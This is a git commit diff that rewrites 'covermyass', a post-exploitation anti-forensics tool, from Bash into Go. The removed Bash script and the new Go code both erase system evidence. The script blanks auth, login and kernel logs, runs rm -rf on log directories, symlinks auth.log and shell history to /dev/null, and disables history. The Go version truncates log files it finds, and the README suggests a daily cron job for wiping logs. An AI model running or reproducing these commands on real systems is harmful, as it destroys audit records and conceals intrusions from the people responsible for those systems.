init v2 project

pull/7/head
sundowndev 2022-10-31 14:20:17 +04:00
parent 67c7482abc
commit cec318a935
24 changed files with 727 additions and 253 deletions

56
.github/workflows/build.yml vendored Normal file
View File

@ -0,0 +1,56 @@
name: Go build
on:
push:
branches:
- master
pull_request:
branches:
- master
jobs:
build:
name: Build
runs-on: ubuntu-latest
steps:
- name: Set up Go
uses: actions/setup-go@v3.2.0
with:
go-version: 1.18.4
id: go
- name: Check out code into the Go module directory
uses: actions/checkout@v3.0.0
- name: Get dependencies
run: |
go get -v -t -d ./...
- name: Enforce Go formatted code
run: |
make fmt
if [[ -z $(git status --porcelain) ]]; then
echo "Git directory is clean."
else
echo "Git directory is dirty. Run make fmt locally and commit any formatting fixes or generated code."
git status --porcelain
exit 1
fi
- name: Install tools
run: make install-tools
- name: Build
run: make build
- name: Lint
run: make lint
- name: Test
run: go test -race -coverprofile=./c.out -covermode=atomic -v ./...
- name: Report code coverage
env:
COVERALLS_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
go install github.com/mattn/goveralls@latest
goveralls -coverprofile=./c.out -service=github

23
.gitignore vendored Normal file
View File

@ -0,0 +1,23 @@
# Binaries for programs and plugins
*.exe
*.exe~
*.dll
*.so
*.dylib
/bin
# Test binary, built with `go test -c`
*.test
# Output of the go coverage tool, specifically when used with LiteIDE
*.out
# Dependency directories (remove the comment below to include it)
# vendor/
.vscode/
.DS_Store
coverage
coverage.*
unit-tests.xml
.idea

View File

@ -1,9 +0,0 @@
os: linux
before_script:
- shellcheck ./covermyass
- sudo cp covermyass /usr/bin/covermyass
- sudo chmod +x /usr/bin/covermyass
script:
- sudo covermyass now

1
CODEOWNERS Normal file
View File

@ -0,0 +1 @@
* @sundowndev

62
Makefile Normal file
View File

@ -0,0 +1,62 @@
# Use bash syntax
SHELL=/bin/bash
# Go parameters
GOCMD=go
GOBINPATH=$(shell $(GOCMD) env GOPATH)/bin
GOMOD=$(GOCMD) mod
GOBUILD=$(GOCMD) build
GOCLEAN=$(GOCMD) clean
GOTEST=gotestsum
GOGET=$(GOCMD) get
GOINSTALL=$(GOCMD) install
GOTOOL=$(GOCMD) tool
GOFMT=$(GOCMD) fmt
GIT_TAG=$(shell git describe --abbrev=0 --tags)
GIT_COMMIT=$(shell git rev-parse --short HEAD)
.PHONY: FORCE
.PHONY: all
all: fmt lint test build go.mod
.PHONY: build
build:
go generate ./...
go build -v -ldflags="-s -w -X 'github.com/sundowndev/covermyass/v2/build.version=${GIT_TAG}' -X 'github.com/sundowndev/covermyass/v2/build.commit=${GIT_COMMIT}'" -o ./bin/covermyass .
.PHONY: test
test:
$(GOTEST) --format testname --junitfile unit-tests.xml -- -mod=readonly -race -coverprofile=./c.out -covermode=atomic -coverpkg=.,./... ./...
.PHONY: coverage
coverage: test
$(GOTOOL) cover -func=cover.out
.PHONY: mocks
mocks:
rm -rf mocks
mockery --all
.PHONY: fmt
fmt:
$(GOFMT) ./...
.PHONY: clean
clean:
$(GOCLEAN)
rm -f bin/*
.PHONY: lint
lint:
@which golangci-lint > /dev/null 2>&1 || (curl -sSfL https://raw.githubusercontent.com/golangci/golangci-lint/master/install.sh | bash -s -- -b $(GOBINPATH) v1.50.1)
golangci-lint run -v --timeout=10m
.PHONY: install-tools
install-tools:
$(GOINSTALL) gotest.tools/gotestsum@v1.6.3
$(GOINSTALL) github.com/vektra/mockery/v2@v2.8.0
go.mod: FORCE
$(GOMOD) tidy
$(GOMOD) verify
go.sum: go.mod

View File

@ -1,97 +1,53 @@
# Covermyass
# covermyass
[![Build status](https://img.shields.io/travis/sundowndev/covermyass/master.svg?style=flat-square)](https://travis-ci.org/sundowndev/covermyass/builds)
[![Tag](https://img.shields.io/github/tag/SundownDEV/covermyass.svg?style=flat-square)](https://github.com/sundowndev/covermyass/releases)
**⚠️ This tool is unmaintained**
[![Build status](https://github.com/sundowndev/covermyass/workflows/Go%20build/badge.svg)](https://github.com/sundowndev/covermyass/actions)
[![Tag](https://img.shields.io/github/tag/SundownDEV/covermyass.svg)](https://github.com/sundowndev/covermyass/releases)
### About
Shell script to cover your tracks on UNIX systems. Designed for pen testing "covering tracks" phase, before exiting the infected server. Or, permanently disable system logs for post-exploitation.
This tool allows you to clear log files such as :
```bash
# Linux
/var/log/messages # General message and system related stuff
/var/log/auth.log # Authenication logs
/var/log/kern.log # Kernel logs
/var/log/cron.log # Crond logs
/var/log/maillog # Mail server logs
/var/log/boot.log # System boot log
/var/log/mysqld.log # MySQL database server log file
/var/log/qmail # Qmail log directory
/var/log/httpd # Apache access and error logs directory
/var/log/lighttpd # Lighttpd access and error logs directory
/var/log/secure # Authentication log
/var/log/utmp # Login records file
/var/log/wtmp # Login records file
/var/log/yum.log # Yum command log file
# macOS
/var/log/system.log # System Log
/var/log/DiagnosticMessages # Mac Analytics Data
/Library/Logs # System Application Logs
/Library/Logs/DiagnosticReports # System Reports
~/Library/Logs # User Application Logs
~/Library/Logs/DiagnosticReports # User Reports
```
Covermyass is a post-exploitation tool to cover your tracks on various operating systems (Linux, Darwin, Windows, ...). It was designed for penetration testing "covering tracks" phase, before exiting the infected server. At any time, you can run the tool to find which log files exists on the system, then run again later to erase those files. The tool will tell you which file can be erased with the current user permissions.
## Installation
With sudo
```bash
sudo curl -sSL https://raw.githubusercontent.com/sundowndev/covermyass/master/covermyass -o /usr/bin/covermyass
sudo curl -sSL https://github.com/sundowndev/covermyass/releases/latest/download/covermyass_Linux_x86_64 -o /usr/bin/covermyass
sudo chmod +x /usr/bin/covermyass
```
Without sudo :
```bash
curl -sSL https://raw.githubusercontent.com/sundowndev/covermyass/master/covermyass -o ~/.local/bin/covermyass
curl -sSL https://github.com/sundowndev/covermyass/releases/latest/download/covermyass_Linux_x86_64 -o ~/.local/bin/covermyass
chmod +x ~/.local/bin/covermyass
```
You can now use the tool using the executable.
Keep in mind that without sudo privileges, you *might* be unable to clear system-level log files (`/var/log`).
Keep in mind that without sudo privileges, you *might* be unable to clear system-level log files.
## Usage
Simply type :
Run an analysis to find log files :
```
covermyass # you may need to use sudo if you want to clean auth logs
covermyass
```
Follow the instructions :
Clear log files instantly :
```
Welcome to Cover my ass tool !
Select an option :
1) Clear logs for user root
2) Permenently disable auth & bash history
3) Restore settings to default
99) Exit tool
>
covermyass --write
```
*NOTE: don't forget to exit the terminal session since the bash history is cached.*
Clear logs instantly (requires *sudo* to be efficient) :
Add custom file paths :
```
sudo covermyass now
covermyass -p '/db/**/*.log'
```
### Using cron job
Filter out some paths :
Clear bash history every day at 5am :
```bash
0 5 * * * covermyass now >/dev/null 2>&1
```
covermyass -f '/foo/bar/*.log'
covermyass -f '/foo/bar.log'
```

21
build/build.go Normal file
View File

@ -0,0 +1,21 @@
package build
import (
"fmt"
"runtime"
)
var version = "dev"
var commit = "dev"
func Name() string {
return fmt.Sprintf("%s-%s", version, commit)
}
func String() string {
return fmt.Sprintf("%s (%s)", Name(), runtime.Version())
}
func IsRelease() bool {
return Name() != "dev-dev"
}

33
build/build_test.go Normal file
View File

@ -0,0 +1,33 @@
package build
import (
"fmt"
"github.com/stretchr/testify/assert"
"runtime"
"testing"
)
func TestBuild(t *testing.T) {
t.Run("version and commit default values", func(t *testing.T) {
assert.Equal(t, "dev", version)
assert.Equal(t, "dev", commit)
assert.Equal(t, false, IsRelease())
assert.Equal(t, "dev-dev", Name())
})
t.Run("version and commit default values", func(t *testing.T) {
version = "v2.4.4"
commit = "0ba854f"
assert.Equal(t, true, IsRelease())
assert.Equal(t, "v2.4.4-0ba854f", Name())
// Reset values
version = "dev"
commit = "dev"
})
t.Run("version and commit with Go version", func(t *testing.T) {
assert.Equal(t, false, IsRelease())
assert.Equal(t, fmt.Sprintf("dev-dev (%s)", runtime.Version()), String())
})
}

86
cmd/root.go Normal file
View File

@ -0,0 +1,86 @@
package cmd
import (
"fmt"
"github.com/spf13/cobra"
"github.com/sundowndev/covermyass/v2/build"
"github.com/sundowndev/covermyass/v2/lib/analysis"
"github.com/sundowndev/covermyass/v2/lib/filter"
"github.com/sundowndev/covermyass/v2/lib/find"
"github.com/sundowndev/covermyass/v2/lib/output"
"github.com/sundowndev/covermyass/v2/lib/services"
"log"
"os"
"runtime"
)
type RootCmdOptions struct {
List bool
Write bool
//ExtraPaths []string
//FilterRules []string
}
func NewRootCmd() *cobra.Command {
opts := &RootCmdOptions{}
cmd := &cobra.Command{
Use: "covermyass",
Short: "Post-exploitation tool for covering tracks on Linux, Darwin and Windows.",
Long: "Covermyass is a post-exploitation tool for pen-testers that finds then erases log files on the current machine. The tool scans the filesystem and look for known log files that can be erased. Running this tool with root privileges is safe and even recommended to avoid access permission errors. This tool does not perform any network call.",
Example: "covermyass --write -p /db/*.log\n" +
"covermyass --list -p /db/**/*.log",
Version: build.String(),
RunE: func(cmd *cobra.Command, args []string) error {
if opts.List {
opts.Write = false
} else {
output.ChangePrinter(output.NewConsolePrinter())
}
a := analysis.New()
output.Printf("Loading known log files for %s\n", runtime.GOOS)
services.Init()
for _, service := range services.Services() {
patterns, ok := service.Paths()[runtime.GOOS]
if !ok {
continue
}
a.AddPatterns(patterns...)
}
filterEngine := filter.NewEngine()
finder := find.New(os.DirFS(""), filterEngine, a.Patterns())
output.Printf("Searching for log files...\n\n")
err := finder.Run()
if err != nil {
log.Fatal(err)
}
for _, info := range finder.Results() {
a.AddResult(analysis.Result{
Path: info.Path(),
Size: info.Size(),
Mode: info.Mode(),
})
}
if opts.List {
for _, result := range a.Results() {
fmt.Println(result.Path)
}
return nil
}
a.Write(os.Stdout)
return nil
},
}
cmd.PersistentFlags().BoolVarP(&opts.List, "list", "l", false, "Show files in a simple list format. This will prevent any write operation.")
cmd.PersistentFlags().BoolVar(&opts.Write, "write", false, "Erase found log files. This WILL truncate the files!")
return cmd
}

View File

@ -1,183 +0,0 @@
#!/usr/bin/env bash
LOGS_FILES=(
/var/log/messages # General message and system related stuff
/var/log/auth.log # Authenication logs
/var/log/kern.log # Kernel logs
/var/log/cron.log # Crond logs
/var/log/maillog # Mail server logs
/var/log/boot.log # System boot log
/var/log/mysqld.log # MySQL database server log file
/var/log/qmail # Qmail log directory
/var/log/httpd # Apache access and error logs directory
/var/log/lighttpd # Lighttpd access and error logs directory
/var/log/secure # Authentication log
/var/log/utmp # Login records file
/var/log/wtmp # Login records file
/var/log/yum.log # Yum command log file
/var/log/system.log # System Log
/var/log/DiagnosticMessages # Mac Analytics Data
/Library/Logs # System Application Logs
/Library/Logs/DiagnosticReports # System Reports
~/Library/Logs # User Application Logs
~/Library/Logs/DiagnosticReports # User Reports
)
function isRoot () {
if [ "$EUID" -ne 0 ]; then
return 1
fi
}
function menu () {
echo
echo "Welcome to Cover my ass tool !"
echo
echo "Select an option :"
echo
echo "1) Clear logs for user $USER"
echo "2) Permenently disable auth & bash history"
echo "3) Restore settings to default"
echo "99) Exit tool"
echo
printf "> "
read -r option
echo
}
function disableAuth () {
if [ -w /var/log/auth.log ]; then
ln /dev/null /var/log/auth.log -sf
echo "[+] Permanently sending /var/log/auth.log to /dev/null"
else
echo "[!] /var/log/auth.log is not writable! Retry using sudo."
fi
}
function disableHistory () {
ln /dev/null ~/.bash_history -sf
echo "[+] Permanently sending bash_history to /dev/null"
if [ -f ~/.zsh_history ]; then
ln /dev/null ~/.zsh_history -sf
echo "[+] Permanently sending zsh_history to /dev/null"
fi
export HISTFILESIZE=0
export HISTSIZE=0
echo "[+] Set HISTFILESIZE & HISTSIZE to 0"
set +o history
echo "[+] Disabled history library"
echo
echo "Permenently disabled bash log."
}
function enableAuth () {
if [ -w /var/log/auth.log ] && [ -L /var/log/auth.log ]; then
rm -rf /var/log/auth.log
echo "" > /var/log/auth.log
echo "[+] Disabled sending auth logs to /dev/null"
else
echo "[!] /var/log/auth.log is not writable! Retry using sudo."
fi
}
function enableHistory () {
if [[ -L ~/.bash_history ]]; then
rm -rf ~/.bash_history
echo "" > ~/.bash_history
echo "[+] Disabled sending history to /dev/null"
fi
if [[ -L ~/.zsh_history ]]; then
rm -rf ~/.zsh_history
echo "" > ~/.zsh_history
echo "[+] Disabled sending zsh history to /dev/null"
fi
export HISTFILESIZE=""
export HISTSIZE=50000
echo "[+] Restore HISTFILESIZE & HISTSIZE default values."
set -o history
echo "[+] Enabled history library"
echo
echo "Permenently enabled bash log."
}
function clearLogs () {
for i in "${LOGS_FILES[@]}"
do
if [ -f "$i" ]; then
if [ -w "$i" ]; then
echo "" > "$i"
echo "[+] $i cleaned."
else
echo "[!] $i is not writable! Retry using sudo."
fi
elif [ -d "$i" ]; then
if [ -w "$i" ]; then
rm -rf "${i:?}"/*
echo "[+] $i cleaned."
else
echo "[!] $i is not writable! Retry using sudo."
fi
fi
done
}
function clearHistory () {
if [ -f ~/.zsh_history ]; then
echo "" > ~/.zsh_history
echo "[+] ~/.zsh_history cleaned."
fi
echo "" > ~/.bash_history
echo "[+] ~/.bash_history cleaned."
history -c
echo "[+] History file deleted."
echo
echo "Reminder: your need to reload the session to see effects."
echo "Type exit to do so."
}
function exitTool () {
exit 1
}
clear # Clear output
# "now" option
if [ -n "$1" ] && [ "$1" == 'now' ]; then
clearLogs
clearHistory
exit 0
fi
menu
if [[ $option == 1 ]]; then
# Clear logs & current history
clearLogs
clearHistory
elif [[ $option == 2 ]]; then
# Permenently disable auth & bash log
disableAuth
disableHistory
elif [[ $option == 3 ]]; then
# Restore default settings
enableAuth
enableHistory
elif [[ $option == 99 ]]; then
# Exit tool
exitTool
else
echo "[!] Option not reconized. Exiting."
fi

19
go.mod Normal file
View File

@ -0,0 +1,19 @@
module github.com/sundowndev/covermyass/v2
go 1.18
require (
github.com/bmatcuk/doublestar/v4 v4.2.0
github.com/sirupsen/logrus v1.9.0
github.com/spf13/cobra v1.6.0
github.com/stretchr/testify v1.8.0
)
require (
github.com/davecgh/go-spew v1.1.1 // indirect
github.com/inconshreveable/mousetrap v1.0.1 // indirect
github.com/pmezard/go-difflib v1.0.0 // indirect
github.com/spf13/pflag v1.0.5 // indirect
golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8 // indirect
gopkg.in/yaml.v3 v3.0.1 // indirect
)

30
go.sum Normal file
View File

@ -0,0 +1,30 @@
github.com/bmatcuk/doublestar/v4 v4.2.0 h1:Qu+u9wR3Vd89LnlLMHvnZ5coJMWKQamqdz9/p5GNthA=
github.com/bmatcuk/doublestar/v4 v4.2.0/go.mod h1:xBQ8jztBU6kakFMg+8WGxn0c6z1fTSPVIjEY1Wr7jzc=
github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/inconshreveable/mousetrap v1.0.1 h1:U3uMjPSQEBMNp1lFxmllqCPM6P5u/Xq7Pgzkat/bFNc=
github.com/inconshreveable/mousetrap v1.0.1/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
github.com/sirupsen/logrus v1.9.0 h1:trlNQbNUG3OdDrDil03MCb1H2o9nJ1x4/5LYw7byDE0=
github.com/sirupsen/logrus v1.9.0/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
github.com/spf13/cobra v1.6.0 h1:42a0n6jwCot1pUmomAp4T7DeMD+20LFv4Q54pxLf2LI=
github.com/spf13/cobra v1.6.0/go.mod h1:IOw/AERYS7UzyrGinqmz6HLUo219MORXGxhbaJUqzrY=
github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.8.0 h1:pSgiaMZlXftHpm5L7V1+rVB+AZJydKsMxsQBIJw4PKk=
github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8 h1:0A+M6Uqn+Eje4kHMK80dtF3JCXC4ykBgQG4Fe06QRhQ=
golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=

73
lib/analysis/analysis.go Normal file
View File

@ -0,0 +1,73 @@
package analysis
import (
"fmt"
"io"
"os"
"time"
)
type Summary struct {
TotalFiles int
TotalRWFiles int
TotalROFiles int
}
type Result struct {
Path string
Size int64
Mode os.FileMode
}
type Analysis struct {
Date time.Time
summary Summary
patterns []string
results []Result
}
func New() *Analysis {
return &Analysis{
Date: time.Now(),
summary: Summary{},
patterns: []string{},
results: []Result{},
}
}
func (a *Analysis) AddPatterns(patterns ...string) {
a.patterns = append(a.patterns, patterns...)
}
func (a *Analysis) Patterns() []string {
return a.patterns
}
func (a *Analysis) AddResult(result Result) {
a.results = append(a.results, result)
a.summary.TotalFiles += 1
}
func (a *Analysis) Results() []Result {
return a.results
}
func (a *Analysis) Write(w io.Writer) {
if len(a.results) > 0 {
_, _ = fmt.Fprintf(w, "Found the following files\n")
for _, res := range a.results {
_, _ = fmt.Fprintf(w, "%s (%s)\n", res.Path, byteCountSI(res.Size))
}
_, _ = fmt.Fprintf(w, "\n")
}
_, _ = fmt.Fprintf(
w,
"Summary\nFound %d files (%d RW, %d RO) in %s\n",
a.summary.TotalFiles,
a.summary.TotalRWFiles,
a.summary.TotalROFiles,
time.Since(a.Date).Round(time.Millisecond).String(),
)
}

17
lib/analysis/utils.go Normal file
View File

@ -0,0 +1,17 @@
package analysis
import "fmt"
func byteCountSI(b int64) string {
const unit = 1000
if b < unit {
return fmt.Sprintf("%d B", b)
}
div, exp := int64(unit), 0
for n := b / unit; n >= unit; n /= unit {
div *= unit
exp++
}
return fmt.Sprintf("%.1f %cB",
float64(b)/float64(div), "kMGTPE"[exp])
}

26
lib/filter/filter.go Normal file
View File

@ -0,0 +1,26 @@
package filter
type Filter interface {
Match(string) bool
}
type Engine struct {
rules []string
}
func NewEngine() *Engine {
return &Engine{}
}
func (e *Engine) AddRule(r ...string) {
e.rules = append(e.rules, r...)
}
func (e *Engine) Match(r string) bool {
for _, rule := range e.rules {
if rule == r {
return true
}
}
return false
}

17
lib/find/fileinfo.go Normal file
View File

@ -0,0 +1,17 @@
package find
import "io/fs"
type FileInfo interface {
fs.FileInfo
Path() string
}
type fileInfo struct {
fs.FileInfo
path string
}
func (f *fileInfo) Path() string {
return f.path
}

78
lib/find/finder.go Normal file
View File

@ -0,0 +1,78 @@
package find
import (
"fmt"
"github.com/bmatcuk/doublestar/v4"
"github.com/sirupsen/logrus"
"github.com/sundowndev/covermyass/v2/lib/filter"
"io/fs"
"os"
"path/filepath"
"strings"
)
type Finder interface {
Run() error
Results() []FileInfo
}
type finder struct {
fs fs.FS
filter filter.Filter
paths []string
results []FileInfo
}
func New(fsys fs.FS, filterEngine filter.Filter, paths []string) Finder {
return &finder{
fs: fsys,
filter: filterEngine,
paths: paths,
results: make([]FileInfo, 0),
}
}
func (f *finder) Run() error {
// Voluntary reset the results slice
f.results = make([]FileInfo, 0)
for _, pattern := range f.paths {
if len(pattern) == 0 {
logrus.Warn("pattern skipped because it has lengh of 0")
continue
}
var formattedPattern string
if strings.Split(pattern, "")[0] == string(os.PathSeparator) {
formattedPattern = strings.Join(strings.Split(pattern, "")[1:], "")
}
// TODO(sundowndev): run this in a goroutine?
err := doublestar.GlobWalk(f.fs, filepath.ToSlash(formattedPattern), func(path string, d fs.DirEntry) error {
info, err := d.Info()
if err != nil {
return err
}
f.results = append(f.results, &fileInfo{info, fmt.Sprintf("%s%s", string(os.PathSeparator), filepath.FromSlash(path))})
return nil
})
if err != nil {
logrus.WithField("pattern", filepath.ToSlash(formattedPattern)).Error(err)
}
}
return nil
}
func (f *finder) Results() []FileInfo {
// Remove duplicates
resultsMap := make(map[string]FileInfo, 0)
for _, res := range f.results {
resultsMap[res.Path()] = res
}
resultsSlice := make([]FileInfo, 0)
for _, file := range resultsMap {
resultsSlice = append(resultsSlice, file)
}
return resultsSlice
}

7
lib/find/finder_test.go Normal file
View File

@ -0,0 +1,7 @@
package find
import "testing"
func TestFinder(t *testing.T) {
}

45
lib/output/printer.go Normal file
View File

@ -0,0 +1,45 @@
package output
import (
"fmt"
"os"
)
type Printer interface {
Printf(string, ...interface{})
Println(string)
}
var globalPrinter Printer = &VoidPrinter{}
func ChangePrinter(printer Printer) {
globalPrinter = printer
}
func Printf(format string, args ...interface{}) {
globalPrinter.Printf(format, args...)
}
func Println(format string) {
globalPrinter.Printf(format)
}
type ConsolePrinter struct{}
func NewConsolePrinter() Printer {
return &ConsolePrinter{}
}
func (c *ConsolePrinter) Printf(format string, args ...interface{}) {
_, _ = fmt.Fprintf(os.Stdout, format, args...)
}
func (c *ConsolePrinter) Println(format string) {
_, _ = fmt.Fprintln(os.Stdout, format)
}
type VoidPrinter struct{}
func (v *VoidPrinter) Printf(_ string, _ ...interface{}) {}
func (v *VoidPrinter) Println(_ string) {}

5
lib/services/init.go Normal file
View File

@ -0,0 +1,5 @@
package services
func Init() {
AddService(NewSSHdService())
}

25
lib/services/services.go Normal file
View File

@ -0,0 +1,25 @@
package services
import "os"
const (
Linux = "linux"
Darwin = "darwin"
Windows = "windows"
)
var services []Service
type Service interface {
Name() string
Paths() map[string][]string
HandleFile(string, os.FileInfo) error
}
func Services() []Service {
return services
}
func AddService(s Service) {
services = append(services, s)
}

25
lib/services/sshd.go Normal file
View File

@ -0,0 +1,25 @@
package services
import "os"
type SSHdService struct{}
func NewSSHdService() Service {
return &SSHdService{}
}
func (s *SSHdService) Name() string {
return "sshd"
}
func (s *SSHdService) Paths() map[string][]string {
return map[string][]string{
Linux: {
"/var/log/sshd.log",
},
}
}
func (s *SSHdService) HandleFile(path string, info os.FileInfo) error {
return os.Truncate(path, 0)
}

36
logs/config.go Normal file
View File

@ -0,0 +1,36 @@
package logs
import (
"github.com/sirupsen/logrus"
"github.com/sundowndev/covermyass/v2/build"
"os"
)
type Config struct {
Level logrus.Level
ReportCaller bool
}
func Init() {
config := getConfig()
logrus.SetLevel(config.Level)
logrus.SetReportCaller(config.ReportCaller)
}
func getConfig() Config {
config := Config{
Level: logrus.WarnLevel,
ReportCaller: false,
}
if !build.IsRelease() {
config.Level = logrus.DebugLevel
}
if lvl := os.Getenv("LOG_LEVEL"); lvl != "" {
loglevel, _ := logrus.ParseLevel(lvl)
config.Level = loglevel
}
return config
}

25
main.go Normal file
View File

@ -0,0 +1,25 @@
package main
import (
"fmt"
"github.com/sirupsen/logrus"
"github.com/sundowndev/covermyass/v2/build"
"github.com/sundowndev/covermyass/v2/cmd"
"log"
"runtime"
"github.com/sundowndev/covermyass/v2/logs"
)
func main() {
logs.Init()
logrus.WithFields(logrus.Fields{
"is_release": fmt.Sprintf("%t", build.IsRelease()),
"version": build.Name(),
"go_version": runtime.Version(),
}).Debug("Build info")
if err := cmd.NewRootCmd().Execute(); err != nil {
log.Fatal(err)
}
}